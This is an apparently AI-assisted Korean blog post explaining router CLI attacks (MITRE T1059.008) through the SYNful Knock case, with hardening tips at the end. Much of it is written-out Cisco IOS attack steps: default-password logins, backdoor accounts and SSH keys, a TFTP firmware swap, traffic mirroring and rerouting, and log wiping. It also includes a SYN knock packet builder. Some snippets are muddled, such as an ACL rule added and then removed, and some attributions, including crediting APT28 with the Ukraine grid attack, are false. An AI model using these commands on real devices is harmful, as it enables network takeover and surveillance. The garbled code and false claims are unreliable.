네트워크 디바이스 CLI 공격 기법: APT가 라우터를 장악하는 원리 | T1059.008
Cisco 라우터 펌웨어를 조작하면 전체 트래픽을 감시할 수 있다. SYNful Knock 사례로 본 네트워크 CLI 공격의 원리.
2015년 9월, Cisco는 자사의 라우터 14개 모델에서 SYNful Knock이라는 악성코드를 발견했다고 발표했다. 이 악성코드는 네트워크 장비의 CLI를 통해 설치되어 3년간 탐지되지 않았으며, 전 세계 네트워크 인프라를 위협했다. 이 사건은 네트워크 디바이스가 단순한 통신 장비가 아닌 공격자의 주요 표적임을 보여준 대표적 사례이다.
과거 사이버 보안은 "경계 방어(Perimeter Defense)" 중심으로 설계되었다. 방화벽과 침입 탐지 시스템을 네트워크 경계에 배치하고, 내부 네트워크는 상대적으로 안전하다고 가정했다. 하지만 이 접근법에는 치명적 맹점이 있었다.
문제 1: 네트워크 장비 자체의 보안 소홀
문제 2: 네트워크 장비 침해 시 피해 규모
2010년대 들어 APT(Advanced Persistent Threat) 그룹들의 공격 전략이 변화했다. 단순한 파괴보다는 지속적인 접근과 정보 수집에 집중하기 시작했고, 네트워크 인프라는 이러한 목표에 이상적인 표적이었다.
T1059.008 Network Device CLI
Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions.
이를 한국어로 풀어보면, T1059.008은 공격자가 네트워크 디바이스의 명령줄 인터페이스나 내장 스크립팅 인터프리터를 악용하여 악성 명령과 페이로드를 실행하는 기법이다. CLI는 사용자와 관리자가 시스템 정보 확인, 디바이스 운영 수정, 진단 및 관리 기능 수행을 위해 디바이스와 상호작용하는 주요 수단이다.
| 용어 | 설명 |
|---|---|
| CLI | 정의: Command Line Interface / 접근 방법: 텍스트 기반 명령어 입력 / 권한 레벨: 관리자/사용자 구분 / 주요 용도: 설정 변경, 진단 |
| Console | 정의: 물리적 직접 연결 인터페이스 / 접근 방법: 시리얼/USB 케이블 / 권한 레벨: 최고 권한 / 주요 용도: 초기 설정, 복구 |
| SSH/Telnet | 정의: 원격 CLI 접근 / 접근 방법: 네트워크 연결 / 권한 레벨: 인증 기반 / 주요 용도: 원격 관리 |
| SNMP | 정의: Simple Network Management Protocol / 접근 방법: OID 기반 요청/응답 / 권한 레벨: 커뮤니티 스트링 / 주요 용도: 모니터링, 간단 설정 |
| Web GUI | 정의: 웹 기반 관리 인터페이스 / 접근 방법: HTTP/HTTPS / 권한 레벨: 사용자 계정 기반 / 주요 용도: 시각적 관리 |
T1059.008은 다음과 같이 분류된다:
네트워크 디바이스의 CLI는 일반적으로 계층화된 권한 구조를 가집니다:
1단계: User Mode (사용자 모드)
# Cisco IOS 예시 - User Mode 프롬프트
Router> show version
Router> show ip route
Router> ping 8.8.8.8
# 제한된 조회 명령만 실행 가능
2단계: Privileged Mode (특권 모드)
# Enable 명령으로 특권 모드 진입
Router> enable
Password: [enable_password]
Router# configure terminal
Router(config)# interface fastethernet 0/1
Router(config-if)# ip address 192.168.1.1 255.255.255.0
# 모든 설정 변경 가능
3단계: Configuration Mode (설정 모드)
# 설정 모드에서 시스템 구성 변경
Router(config)# router ospf 1
Router(config-router)# network 192.168.1.0 0.0.0.255 area 0
Router(config-router)# exit
Router(config)# write memory # 설정 저장
3.3.1 초기 접근 단계
공격자는 다음 방법으로 CLI에 접근한다:
방법 1: 자격증명 탈취
# 기본 비밀번호 시도
ssh admin@192.168.1.1
Password: admin # 또는 password, cisco 등
방법 2: 취약점 악용
방법 3: 물리적 접근
# Console 포트 직접 연결
minicom -D /dev/ttyUSB0
# 부팅 과정에서 Break 신호로 복구 모드 진입
3.3.2 권한 상승 단계
# 사용자 모드에서 특권 모드로 상승 시도
Router> enable
Password: [브루트포스 또는 알려진 비밀번호]
# 성공 시 전체 시스템 제어 권한 획득
Router# show running-config
# 전체 설정 정보 획득 가능
3.3.3 지속성 확보 단계
설정 파일 조작
# 백도어 계정 생성
Router(config)# username backdoor privilege 15 secret malicious123
Router(config)# line vty 0 4
Router(config-line)# login local
# SSH 키 추가
Router(config)# ip ssh pubkey-chain
Router(conf-ssh-pubkey)# username backdoor
Router(conf-ssh-pubkey-user)# key-string
[공격자 SSH 공개키 삽입]
펌웨어 조작 (고급 기법)
# 현재 이미지 백업
Router# copy flash: tftp:
Source filename []? c2900-universalk9-mz.SPA.155-3.M4a.bin
Address or name of remote host []? 192.168.1.100
# 조작된 이미지로 교체
Router# copy tftp: flash:
Source filename []? c2900-modified.bin
Destination filename [c2900-modified.bin]?
3.4.1 라우팅 테이블 조작
# 특정 목적지로의 트래픽 우회
Router(config)# ip route 10.0.0.0 255.0.0.0 192.168.100.1
# 내부 네트워크 트래픽을 공격자 서버로 우회
# SPAN 포트 설정으로 트래픽 미러링
Router(config)# monitor session 1 source interface fastethernet 0/1
Router(config)# monitor session 1 destination interface fastethernet 0/24
# 모든 트래픽을 공격자가 제어하는 포트로 복사
3.4.2 ACL 조작으로 탐지 회피
# 로깅 기능 비활성화
Router(config)# no logging buffered
Router(config)# no logging console
Router(config)# no logging monitor
# 보안 기능 우회 ACL 생성
Router(config)# access-list 100 permit ip any any log-input
Router(config)# no access-list 100 permit ip any any log-input
# 로그 생성 없이 모든 트래픽 허용
3.5.1 SYNful Knock의 기술적 구조
SYNful Knock은 다음과 같은 방식으로 동작했다:
3.5.2 탐지 회피 기법
1. 펌웨어 레벨 조작
# 정상 IOS 이미지 크기와 동일하게 유지
# MD5 해시는 변경되지만 파일 크기는 동일
Router# show version
System image file is "flash:c2900-universalk9-mz.SPA.155-3.M4a.bin"
# 파일명과 크기는 정상으로 표시
2. 메모리 내 실행
# 디스크에 흔적을 남기지 않고 메모리에서만 실행
# show processes 명령으로도 탐지 어려움
Router# show processes cpu
# 정상 프로세스로 위장
3. 네트워크 레벨 은폐
# 활성화 패킷 구조 (Python 예시)
import socket
import struct
def create_synful_packet():
# TCP SYN 패킷 생성
seq_num = 0x12345678
ack_num = 0x12345678 - 0xC123D # 특정 차이값 설정
tcp_header = struct.pack('!HHLLBBHHH',
80, # 목적지 포트
12345, # 소스 포트
seq_num, # 시퀀스 번호
ack_num, # 확인 번호
0x50, # 헤더 길이
0x02, # SYN 플래그
8192, # 윈도우 크기
0, # 체크섬 (나중에 계산)
0 # 긴급 포인터
)
return tcp_header
4.1.1 높은 권한과 광범위한 영향력
네트워크 디바이스는 일반적으로 네트워크 인프라의 중심에 위치한다. 하나의 라우터나 스위치를 장악하면:
4.1.2 탐지의 어려움
일반적인 보안 도구의 한계
4.2.1 시나리오 1: 데이터 탈취 공격
# 1단계: 트래픽 미러링 설정
Router(config)# monitor session 1 source interface range fa0/1-24
Router(config)# monitor session 1 destination interface fa0/48
# 2단계: 공격자 서버로 데이터 전송
Router(config)# interface fa0/48
Router(config-if)# description "Maintenance Port"
Router(config-if)# no shutdown
# fa0/48에 연결된 공격자 서버로 모든 트래픽 복사
4.2.2 시나리오 2: 중간자 공격 (MITM)
# 1단계: 라우팅 테이블 조작
Router(config)# ip route 192.168.100.0 255.255.255.0 10.0.0.99
# 특정 서브넷으로의 트래픽을 공격자 서버로 우회
# 2단계: 프록시 서버 경유 후 원래 목적지로 전달
# 공격자는 모든 트래픽을 감시하면서 정상 통신으로 위장
4.2.3 시나리오 3: 서비스 거부 공격 (DoS)
# 1단계: ACL로 특정 트래픽 차단
Router(config)# access-list 199 deny ip 192.168.1.0 0.0.0.255 any
Router(config)# interface fa0/1
Router(config-if)# ip access-group 199 in
# 2단계: 대역폭 제한으로 성능 저하
Router(config)# interface fa0/1
Router(config-if)# rate-limit input 64000 12000 12000 conform-action transmit exceed-action drop
# 64Kbps로 대역폭 제한하여 네트워크 마비
4.3.1 Equation Group (NSA 연계 추정)
2015년 카스퍼스키가 발견한 Equation Group은 다음과 같은 네트워크 장비 공격을 수행했다:
공격 대상: Cisco PIX, ASA, Juniper Netscreen, Fortinet Fortigate 사용 기법:
# 펌웨어 임플란트 설치
# 정상 부팅 과정에서 백도어 코드 로딩
# 네트워크 트래픽에서 특정 패턴 탐지 시 활성화
4.3.2 APT28 (Fancy Bear)
2016년 우크라이나 전력망 공격에서 네트워크 인프라를 표적화:
공격 과정:
4.4.1 로그 조작 및 삭제
# 로그 버퍼 삭제
Router# clear logging
# 로그 레벨 조정으로 중요 이벤트 기록 방지
Router(config)# logging buffered 4096 critical
# critical 레벨만 기록하여 대부분의 활동 은폐
# Syslog 서버 설정 변경
Router(config)# no logging 192.168.1.100
# 외부 로그 서버로의 전송 중단
4.4.2 정상 관리 활동으로 위장
# 정상적인 관리 명령과 구분이 어려운 활동
Router# show running-config # 설정 정보 수집
Router# show ip route # 라우팅 정보 파악
Router# show arp # ARP 테이블 확인
# 이러한 명령들은 정상 관리자도 자주 사용
# 악의적 활동과 정상 활동의 구분 어려움
5.1.1 접근 제어 강화
# SSH 키 기반 인증 설정
Router(config)# ip ssh version 2
Router(config)# ip ssh authentication-retries 2
Router(config)# ip ssh time-out 60
# 관리 접근 IP 제한
Router(config)# access-list 10 permit 192.168.1.100
Router(config)# line vty 0 4
Router(config-line)# access-class 10 in
5.1.2 로깅 및 모니터링 강화
# 상세 로깅 활성화
Router(config)# logging buffered 32768 debugging
Router(config)# logging console warnings
Router(config)# logging monitor notifications
# 중앙 로그 서버 설정
Router(config)# logging 192.168.1.200
Router(config)# logging facility local0
5.2.1 네트워크 기반 탐지
5.2.2 펌웨어 무결성 검증
# 이미지 해시 검증
Router# verify /md5 flash:c2900-universalk9-mz.SPA.155-3.M4a.bin
# 벤더 제공 해시값과 비교
# 부팅 프로세스 모니터링
Router# show version
Router# show boot
# 부팅 이미지 경로 및 버전 확인
T1059.008은 다른 MITRE ATT&CK 기법들과 밀접하게 연결된다:
T1059.008 Network Device CLI 공격은 네트워크 인프라의 중심부를 표적으로 하는 고도로 효과적인 공격 기법이다. SYNful Knock 사례에서 보듯이, 한 번 침투에 성공하면 장기간 탐지되지 않으면서 전체 네트워크를 장악할 수 있는 강력한 도구가 된다.
이 공격의 핵심은 네트워크 장비가 단순한 통신 도구가 아닌 컴퓨팅 시스템이라는 점을 악용한다는 것이다. CLI를 통한 명령 실행, 설정 변경, 트래픽 조작 등 모든 기능이 공격자에게는 무기가 될 수 있다.
방어를 위해서는 네트워크 장비를 일반적인 IT 자산과 동일한 수준으로 보안 관리해야 하며, 특히 접근 제어, 로깅, 무결성 검증에 집중해야 한다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.